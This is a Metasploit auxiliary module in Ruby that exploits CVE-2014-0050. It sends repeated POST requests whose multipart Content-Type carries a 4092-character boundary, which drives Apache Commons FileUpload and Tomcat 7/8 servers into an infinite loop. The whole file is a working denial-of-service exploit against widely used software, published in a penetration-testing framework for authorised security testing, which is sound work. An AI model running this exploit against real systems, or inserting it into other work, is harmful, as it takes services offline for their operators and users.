Apache Commons FileUpload and Apache Tomcat DoS

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Apache Commons FileUpload and Apache Tomcat DoS',
      'Description'     => %q{
        This module triggers an infinite loop in Apache Commons FileUpload 1.0
        through 1.3 via a specially crafted Content-Type header.
        Apache Tomcat 7 and Apache Tomcat 8 use a copy of FileUpload to handle
        mime-multipart requests, therefore, Apache Tomcat 7.0.0 through 7.0.50
        and 8.0.0-RC1 through 8.0.1 are affected by this issue. Tomcat 6 also
        uses Commons FileUpload as part of the Manager application.
       },
       'Author'         =>
         [
           'Unknown', # This issue was reported to the Apache Software Foundation and accidentally made public.
           'ribeirux' # metasploit module
         ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
           ['CVE', '2014-0050'],
           ['URL', 'https://tomcat.apache.org/security-8.html'],
           ['URL', 'https://tomcat.apache.org/security-7.html']
         ],
        'DisclosureDate' => '2014-02-06'
      ))

      register_options(
        [
          Opt::RPORT(8080),
          OptString.new('TARGETURI', [ true,  "The request URI", '/']),
          OptInt.new('RLIMIT', [ true,  "Number of requests to send",50])
        ])
  end

  def run
    boundary = "0"*4092
    opts = {
      'method'         => "POST",
      'uri'            => normalize_uri(target_uri.to_s),
      'ctype'          => "multipart/form-data; boundary=#{boundary}",
      'data'           => "#{boundary}00000",
      'headers' => {
        'Accept' => '*/*'
      }
    }

    # XXX: There is rarely, if ever, a need for a 'for' loop in Ruby
    # This should be rewritten with 1.upto() or Enumerable#each or
    # something
    for x in 1..datastore['RLIMIT']
      print_status("Sending request #{x} to #{peer}")
      begin
        c = connect
        r = c.request_cgi(opts)
        c.send_request(r)
        # Don't wait for a response
      rescue ::Rex::ConnectionError => exception
        print_error("Unable to connect: '#{exception.message}'")
        return
      ensure
        disconnect(c) if c
      end
    end
  end
end